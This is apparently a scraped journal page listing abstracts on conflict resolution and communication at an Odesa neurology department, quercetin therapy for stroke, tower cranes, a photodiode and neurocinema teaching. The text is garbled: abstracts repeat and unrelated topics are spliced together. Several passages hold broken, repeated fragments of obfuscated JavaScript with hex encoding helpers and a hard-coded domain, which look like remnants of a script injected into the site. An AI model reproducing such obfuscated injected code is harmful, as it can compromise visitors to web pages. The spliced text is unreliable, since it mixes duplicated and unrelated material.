ДЕЯКІ АСПЕКТИ РОЗВ’ЯЗАННЯ КОНФЛІКТІВ НА ПРИКЛАДІ КАФЕДРИ НЕВРОЛОГІЇ ОДЕСЬКОГО НАЦІОНАЛЬНОГО МЕДИЧНОГО УНІВЕРСИТЕТУ, ЯК ОДИН ІЗ НАПРЯМКІВ КУЛЬТУРИ СПІЛКУВАННЯ ТА ПІДВИЩЕННЯ ЯКОСТІ НАВЧАЛЬНОГО ПРОЦЕСУ

The article presents some aspects of solution of conflicts as one of the areas of cultural communication in the team and increase of the quality of the educational process at the NeurologyDepartmentof  Odesa National Medical University. We are trying to solve the conflict so as to benefit both parties. This we know, and we are going to this aim. In addition, during the conflict resolution may get to know the leaders of the department, which had to communicate in a difficult situation, to master the technique of preventing conflicts and solving them. Then, creativity potential, energy, activity, communication installations if the conflict is their generator and accumulator, may raise the culture of communication to a higher level, contribute to solving the problems of the department and the University during the cardinal reforms in medicine in general and reforms of medical education respectively.У статті представлені деякі аспекти розв’язання конфліктів, як один із напрямків культури спілкування в колективі та підвищення якості навчального процесу на кафедрі неврології Одеського національного медичного університету. Ми намагаємося розв’язати конфлікт так, щоб виграли обидві сторони. Про це ми знаємо і до цього прагнемо. До того ж під час вирішення конфліктів можливо краще пізнати лідерів кафедри, з якими довелося спілкуватися в складній ситуації, оволодіти технікою попередження конфліктів та їх розв’язування. Тоді творчий потенціал, енергія, активність, комунікативні установки, якщо їх генератором і акумулятором є конфлікт, піднімуть культуру спілкування на вищий рівень, сприятимуть вирішенню проблем кафедри і університету в період кардинальних реформ у медицині взагалі, так і реформи медичної освіти відповідно

Possibility of therapy of acute ischemic stroke by polyphenols of flavonoid group

Objective - to study neuroprotective effect of Quercetin in ischemia-reperfusion injury in acute ischemic stroke. Materials and methods. The study included 98 patients with acute ischemic stroke. All patients: main and control group, received standard treatment in accordance with the clinical protocol order Ministry of Health of Ukraine from 03.08.2012, № 602. Patients of the main group (n=68) on the back of the base further treatment was administered quercetin (Corvitin lyophilisate injection solution) course of 10 days according to the scheme: 500 mg of the drug diluted in 100 ml of 0.9% of the physiological solution intravenously twice a day for the first five days and once a day for the next five days. Patients in the control group (n=30) - quercetin is not appointed. Assessment by GCS, NIHSS, Barthel served in the 1st, 3rd, 5th, 10th day of the disease. Results. Simultaneously with the standard treatment, intravenous administration of quercetin, positively influenced the regression of focal neurological symptoms on the NIHSS and Barthel scales in patients with acute ischemic stroke, increased the proportion of patients in the consciousness or with its minor impairments in the GCS, ie contributed to an earlier “awakening” in acute ischemic stroke. Conclusions. Neuroprotective effect of quercetin (Corvitin lyophilisate injection solution) can be explained by its polytropic, antioxidant, anti-inflammatory, membrane-stabilizing effect in ischemia-reperfusion

Some aspects of conflict solution on example of neurology department of Odesa national medical university as one of the areas culture of communication and icrease quality of educational process

У статті представлені деякі аспекти розв’язання конфліктів, як один із напрямків культури спілкування в колективі та підвищення якості навчального процесу на кафедрі неврології Одеського національного медичного університету. Ми намагаємося розв’язати конфлікт так, щоб виграли обидві сторони. Про це ми знаємо і до цього прагнемо. До того ж під час вирішення конфліктів можливо краще пізнати лідерів кафедри, з якими довелося спілкуватися в складній ситуації, оволодіти технікою попередження конфліктів та їх розв’язування. Тоді творчий потенціал, енергія, активність, комунікативні установки, якщо їх генератором і акумулятором є конфлікт, піднімуть культуру спілкування на вищий рівень, сприятимуть вирішенню проблем кафедри і університету в період кардинальних реформ у медицині взагалі, так і реформи медичної освіти відповідно.The article presents some aspects of solution of conflicts as one of the areas of cultural communication in the team and increase of the quality of the educational process at the Neurology Department of Odesa National Medical University. We are trying to solve the conflict so as to beneft both parties. This we know, and we are going to this aim. In addition, during the conflict resolution may get to know the leaders of the department, which had to communicate in a diffcult situation, to master the technique of preventing conflicts and solving them. Then, creativity potential, energy, activity, communication installations if the conflict is their generator and accumulator, may raise the culture of communication to a higher level, contribute to solving the problems of the department and the University during the cardinal reforms in medicine in general and reforms of medical education respectively

НОВІ ПІДХОДИ ДО ВИКОРИСТАННЯ ДИСКУСІЇ ЯК ФОРМИ СПІЛКУВАННЯ НА КАФЕДРІ НЕВРОЛОГІЇ ОДЕСЬКОГО НАЦІОНАЛЬНОГО МЕДИЧНОГО УНІВЕРСИТЕТУ

The article presents an analysis of some of the most important forms of communication in the team – discussion. Since the beginning of reform in society and medicine, feeling the democratic changes in the country, the University and at the Neurology Department of Odesa National Medical University to improve the quality of training and education began to enforce this form of work. New approaches in the activities of the department can be seen in a large range of topics discussed, and the fact that participation by a wide range of invited participants. This makes it possible, at both the department and the University, to discuss difficult issues of reforming education and medicine.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;eУ статті представлений аналіз однієї з важливих форм спілкування в колективі – дискусії. З початком реформ у суспільстві й медицині, відчуваючи демократичні зміни в країні, в університеті й на кафедрі неврології Одеського національного медичного університету для покращення якості навчання та виховання почали впроваджувати в життя цю форму роботи. Нові підходи в діяльності кафедри можна побачити у великому діапазоні тем, що обговорюються,  а також те, що для участі в дискусії запрошується широке коло учасників. Це дає можливість, як на рівні кафедри, так і університету, обговорювати складні питання реформування медицини і освіти.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;

Ефективність використання баштових кранів у будівництві багатоповерхових будинків

Among publications and studies on the exploitation of tower cranes and mechanization, the problem of their rational choice and a techno-economic analysis of the exploitation is not disclosed sufficiently. Based on a comprehensive study of tower cranes of Ukrainian and foreign production, a comparison of technical characteristics, market value of exploitation and established relationships between these parameters, recommendations were developed on the rational use of tower cranes depending on the construction conditions. The work uses empirical and theoretical research methods. The research materials were obtained by observation, measurement and unstructured interview (knowledge transfer interview). The obtained information and hypotheses of the authors were analyzed and formed in the graphic model. For the study, the KB-674 (676) and Liebherr 280 EC-H12 Litronic models were selected. According to the technical passport of the KB-674 (676) tower crane, the specifications did not have enough information for comparison with similar ones in the Liebherr 280 EC-H12.  In this regard, the operations of the KB-674 crane located at the construction site of the residential complex "Odessa Boulevard", v. Novoselki were explored and studied. According to the results of the observation, the dependence of the hoist speed on the mass of the load was revealed.The cost of exploiting tower cranes directly depends on the time of their use and the conditions of their exploitation. The parameters of the tower crane, such as their height, “degree of novelty”, etc., are accepted the same for both models. Based on the data obtained, simplified formulas for calculating the cost of exploitation of KB-674 and Liebherr 280 EC-H 12 were compiled. Using the Microsoft Excel software package, we obtain the calculation results in tabular and graphical forms. As a result of our research, it was found that the use of tower cranes KB-674 (676) is advisable mainly for building large-panel type construction with a height of not more than 80 m and for the duration of work no more than 2.5 years. The KB-674 crane model needs further modernization of operational characteristics, because of the gradually growing in complexity of the purposes it was created for and demands of modern construction is growing.Серед публікацій і досліджень, присвячених експлуатації баштових кранів та засобів механізації, проблема їх раціонального вибору та техніко-економічного  аналізу експлуатації розкрита недостатньо повно. На  основі проведеного  комплексного дослідження баштових кранів українського та іноземного виробництва, порівняння технічних характеристик, ринкової вартості експлуатації та встановлених зв’язків між цими параметрами, були розроблені рекомендації щодо раціонального застосування кранів в залежності від умов будівництва . У роботі використовуються методи емпіричного та теоретичного дослідження. Матеріали дослідження отримано шляхом спостереження, вимірювання та вільного інтерв’ю. Отримана інформація та гіпотези авторів проаналізовані і сформовані у вигляді графічної моделі. Для дослідження було обрано моделі КБ-674(676) та Liebherr 280 EC-H12 Litronic. По даним технічного паспорту крану КБ-674(676) в характеристиках виявилось недостатньо інформації для прямого порівняння з аналогічними в Liebherr 280 EC-H12. У зв’язку з цим проведено спостереження за роботою крану КБ-674, що знаходиться на будівельному майданчику ЖК «Одеський бульвар», с. Новосілки. За результатами спостереження було виявлено залежність швидкості роботи крану від маси вантажу. Вартість експлуатації баштових кранів прямо залежить від часу їх використання та умов їх експлуатації. Параметри баштових кранів, такі як їх висота, «ступінь новизни» та ін., прийматимемо однаковими для обох моделей. Базуючись на отриманих даних, складено спрощені формули розрахунку вартості експлуатації КБ-674 та Liebherr 280EC-H 12. За допомогою програмного комплексу Microsoft Excel, отримано результати розрахунку в табличній і графічній формах. В результаті нашого дослідження встановлено, що використання баштових кранів КБ-674(676) доцільно переважно при крупнопанельному будівництві будинків висотою не більше 80 м та на час робіт не більше 2,5 роки. Модель крану КБ-674 потребує подальшої модернізації експлуатаційних характеристик, адже різниця у складності завдань, для яких він був створений, і потребами сучасного будівництва поступово збільшується

ВИКОРИСТАННЯ НАРАДИ ЯК ФОРМИ КОЛЕКТИВНОГО СПІЛКУВАННЯ ДЛЯ ЯКІСНОГО ПЛАНУВАННЯ РОБОТИ КАФЕДРИ НЕВРОЛОГІЇ ОДЕСЬКОГО НАЦІОНАЛЬНОГО МЕДИЧНОГО УНІВЕРСИТЕТУ НА СУЧАСНОМУ ЕТАПІ

The article presents an analysis of one of the most important forms of communication in the team – a meeting, that comes to the fore in the work to lead any team. Meetingis held not only in the discussion and resolution of issues. Leader appoints the meeting during the outcomes at a certain stage of the department staff. That is why the meeting leader seeks considered conditions for their implementation (who, what, when), the plan of the team for a certain period. Meeting at the present stage of reform of medicine is an important form of communication in the team. It will be effective if you follow the principles and rules of communication.// t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e У статті представлений аналіз однієї з найважливіших форм спілкування в колективі – наради, яка виходить на перший план в організації роботи по керівництву будь-якого колективу. Наради проводяться не тільки при обговоренні та вирішенні проблемних питань. Керівник призначає наради при проведенні підсумків на певному етапі роботи колективу кафедри. Саме тому на нараді керівником ставляться завдання, розглядаються умови їх виконання (хто, що, коли), складається план роботи колективу на певний період. Нарада на сучасному етапі реформування медицини є важливою формою спілкування в колективі. Вона буде ефективною, якщо дотримуватися принципів і правил спілкування.  // t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e// t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e// t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e// t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e// t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;

ІНДИВІДУАЛЬНА БЕСІДА ЯК ІНСТРУМЕНТ ПОКРАЩЕННЯ ОПАНУВАННЯ НАВЧАЛЬНОГО МАТЕРІАЛУ

The aim of the work – to use individual conversations as a tool for in-depth study of the material and the training of future neurologists.The main body. A conversation is a form of communication that is used to exchange thoughts and information. The conversation is primarily used as a tool for jointly finding optimal problem solving. Understanding that each of the conversations does not have common recipes that would ensure its high efficiency in all cases, the teacher must creatively approach communication with the student. Based on the professional orientation, the teachers of the department conduct pedagogical conversations when needed, but they are trying to teach in recent years, prepare students for a doctor’s medical conversation with the patient, which will be needed in the future. The neurologist in communicating with the patient in addition to medical problems should pay a lot of attention to the study of issues related to the social environment, national peculiarities, to carefully consider the way of life, living conditions and work, the peculiarities of nutrition, the existing hereditary diseases of close relatives. A face-to-face communication with the patient helps: the establishment of contact, trust and understanding, and the emergence of common views on treatment tactics to achieve the goal of recovery. The doctor and patient become like-minded, and only in this case they can jointly fight the disease and gain victory over it. The main stages of a conversation are preparation, establishing contact, orientation in a situation of discussion, a question and a joint decision, and that is especially important for a doctor, getting out of contact. It is very important to gain confidence in the student, which allows in the course of communication to compensate for the weakness of arguments and evidence. It is very important that the students respect the judgments of such a teacher who can gain authority with high professionalism, the ability to encourage the study of the subject, tact, appearance, intelligence, skillfully set language. It is very important to use the authority of the teacher, which he received from previous work with students at the department at the university and medical activities.Conclusions. An individual conversation is an effective form of interaction that teachers use when communicating with students. This is most often a conversation of a special nature. In particular, those tasks that can be put in place by a teacher are solved. And first and foremost, this is a grafting of love for the subject of neurology through the individual achievements of the teacher, collective achievements in science and health care (medical) of the staff of the department, university, and country. In such conversations, the teacher wants to, as a senior, influence the student, stomp his behavior towards a ready-made recipe. But practically all people do not want to be the object of education. Most of them need attention and respect. The teacher should be interested in the life of students. Most often young people response to trust is trust. The student should not demand unrealistic, that he can not make proposals at this stage, the teacher’s thoughts should be constructive. It is advisable not to impose a student on his advice, but to evaluate his conclusions only in extreme cases. The conversation should be conducted so that the student himself either made the desired conclusion, or asked the teacher to advise how to act in such situations.Мета роботи – розглянути питання щодо використання індивідуальної бесіди як інструменту поглибленого вивчення матеріалу і підготовки майбутніх фахівців неврологів.Основна частина. Бесіда – це така форма спілкування, яка застосовується з метою обміну думками, інформацією. Бесіда використовується перш за все як інструмент спільного пошуку оптимального вирішення проблем. Розуміючи, що кожна з бесід не має загальних рецептів, які б забезпечували її високу ефективність в усіх випадках, викладач повинен творчо підходити до спілкування зі студентом. Виходячи з професійної спрямованості, викладачі кафедри ведуть педагогічні бесіди, коли це потрібно, але намагаються останнім часом навчити, підготувати студентів до ведення медичної бесіди лікаря з пацієнтом, яка знадобиться в майбутньому. Лікар-невролог у спілкуванні з пацієнтом, крім лише медичних проблем, повинен багато уваги приділяти вивченню питань, пов’язаних із соціальним середовищем, національними особливостями, ретельно розібратися зі способом життя, умовами проживання та праці, особливостями харчування, наявними спадковими хворобами близьких родичів. Лікар віч-на-віч спілкується з пацієнтом, що сприяє: встановленню контакту, довіри і взаєморозуміння, виникненню спільних поглядів на тактику лікування для досягнення мети – одужання. Лікар і пацієнт стають однодумцями, і лише в такому випадку вони зможуть спільно боротися з хворобою та отримати перемогу над нею. Основні етапи бесіди – це підготовка, встановлення контакту, орієнтація в ситуації обговорення, питання й прийняття спільного рішення, і що особливо важливо для лікаря, вихід з контакту. Дуже важливо завоювати довіру у студента, яка дозволяє в процесі спілкування компенсувати слабкість аргументів та доказів. Дуже важливо тому, що студенти з повагою ставляться до суджень такого викладача, який вміє завоювати авторитет високим професіоналізмом, вмінням заохотити до вивчення предмета, тактом, зовнішністю, інтелектом, вміло поставленою мовою. Дуже важливо використовувати авторитет викладача, який він здобув попередньою роботою зі студентами на кафедрі в університеті та лікарській діяльності.Висновки. Індивідуальна бесіда є дійовою формою взаємодії, яку використовують педагоги під час спілкування зі студентами. Це найчастіше бесіди особливого характеру. Зокрема вирішуються ті завдання, які може поставити собі викладач. І в першу чергу це прищеплення любові до предмета “Неврологія” через індивідуальні досягнення викладача, колективні досягнення в науці й охороні здоров’я (лікувальній справі) колективу кафедри, університету, країни. Педагогу в таких бесідах хочеться, як старшому, вплинути на студента, стимулювати його до поведінки за готовим рецептом. Але практично всі люди не хочуть бути об’єктом виховання. Більшості з них потрібні увага і повага. Педагог повинен цікавитися життям студентів. На довіру молодь найчастіше відповідає довірою. Від студента не слід вимагати нереального, того, що він не зможе на даному етапі зробити. Пропозиції, думки педагога повинні бути конструктивними. Бажано не нав’язувати студенту своїх порад, а оцінку його виснов­кам давати лише в крайніх випадках. Розмову слід вести так, щоб студент сам або зробив потрібний висновок, або попросив педагога поради, як діяти в подібній ситуації

Photodiode based on epitaxial silicon with high sensitivity at the wavelength 254 nm

A mathematical model of the construction of silicon photodiode based on epitaxial structure enabling to regulate the absorption edge of silicon in the long-wave spectral range is presented. The suggested model allows calculating the construction that possesses low sensitivity for the wavelengths larger than 600 nm and maximal values near the wavelength 254 nm

ВИКОРИСТАННЯ НЕЙРОКІНЕМАТОГРАФА В ПІСЛЯДИПЛОМНІЙ ОСВІТІ В УМОВАХ ДИСТАНЦІЙНОГО НАВЧАННЯ

In the face of COVID-19 pandemic, the postgraduate education has been changed due to distance learning. Using Microsoft Teams program, the interns and students of the Department of Neurology and Neurosurgery of Odesa National Medical University continue to study neurology. Analysis of case studies after watching a neurocinema, training in making the diagnosis and administration of treatment are in complement to the forced lacking of clinical practice. Neurocinema provides the opportunity for addressing a broad range of diseases, for instance, stroke, traumatic brain injury, traumatic spinal cord injury, multiple sclerosis, amyotrophic lateral sclerosis, epilepsy, Parkinson’s disease, Alzheimer’s disease etc. A modern approach with the watchful guidance of teachers and the possibility of a discussion in real-time increases the activity and interest of interns and students.В умовах пандемії COVID-19 отримання післядипломної освіти змінилося завдяки дистанційному навчанню. Використовуючи програму відеоконференц-звʼязку Microsoft Teams, на кафедрі неврології та нейрохірургії Одеського національного медичного університету інтерни-невропатологи й студенти активно продовжують вивчення неврології. Розбір клінічних випадків після перегляду фільмів, що присвячені неврологічним хворим, тренування у виставленні функціонального та клінічного діагнозів й призначенні лікування доповнюють вимушену нестачу практики з пацієнтами. Нейрокінематограф дозволяє широко охопити такі хвороби, як інсульт, черепно-мозкова травма, хребетно-спинномозкова травма, розсіяний склероз, боковий аміотрофічний склероз, епілепсія, хвороба Паркінсона, хвороба Альцгеймера та ін. Такий сучасний підхід з пильним керівництвом викладачів і можливістю дискусії у режимі реального часу збільшує активність, зацікавленість лікарів-інтернів та студентів

Возможности терапии острого ишемического инсульта полифенолами флавоноидной группы

Objective - to study neuroprotective effect of Quercetin in ischemia-reperfusion injury in acute ischemic stroke. Materials and methods. The study included 98 patients with acute ischemic stroke. All patients: main and control group, received standard treatment in accordance with the clinical protocol order Ministry of Health of Ukraine from 03.08.2012, № 602. Patients of the main group (n=68) on the back of the base further treatment was administered quercetin (Corvitin lyophilisate injection solution) course of 10 days according to the scheme: 500 mg of the drug diluted in 100 ml of 0.9% of the physiological solution intravenously twice a day for the first five days and once a day for the next five days. Patients in the control group (n=30) - quercetin is not appointed. Assessment by GCS, NIHSS, Barthel served in the 1st, 3rd, 5th, 10th day of the disease. Results. Simultaneously with the standard treatment, intravenous administration of quercetin, positively influenced the regression of focal neurological symptoms on the NIHSS and Barthel scales in patients with acute ischemic stroke, increased the proportion of patients in the consciousness or with its minor impairments in the GCS, ie contributed to an earlier “awakening” in acute ischemic stroke. Conclusions. Neuroprotective effect of quercetin (Corvitin lyophilisate injection solution) can be explained by its polytropic, antioxidant, anti-inflammatory,Цель - изучить нейропротекторное действие кверцетина при ишемическиреперфузионном повреждении в остром периоде ишемического инсульта. Материалы и методы. В исследование были включены 98 пациентов с острым ишемическим инсультом. Все пациенты: основная и контрольная группа, получавшие стандартное лечение в соответствии с клиническим протоколом приказа Минздрава Украины от 03.08.2012 г. № 602. Пациентам основной группы (n = 68) назначали кверцетин в дозе 500 мг, разведенный в 100 мл 0,9% физиологического раствора внутривенно капельно два раза в день в течение первых пяти дней и один раз в день в течение следующих пяти дней. Пациентам контрольной группы (n = 30) - кверцетин не назначается. Оценка по ШКГ, NIHSS, Barthel служила в 1-й, 3-й, 5-й, 10-й день заболевания. Результаты. Одновременно со стандартным лечением, внутривенное введение кверцетина, положительно влияло на регрессию очаговых неврологических симптомов по шкалам NIHSS и Barthel у пациентов с острым ишемическим инсультом, увеличивало долю пациентов в сознании или с его незначительными нарушениями по ШКГ, т.е. способствовало более раннему «пробуждению» при остром ишемическом инсульте. Выводы. Нейропротективный эффект кверцетина (раствор для инъекций лиофилизата корвитина) можно объяснить его политропным, антиоксидантным, противовоспалительным, мембраностабилизирующим действием при ишемииреперфузии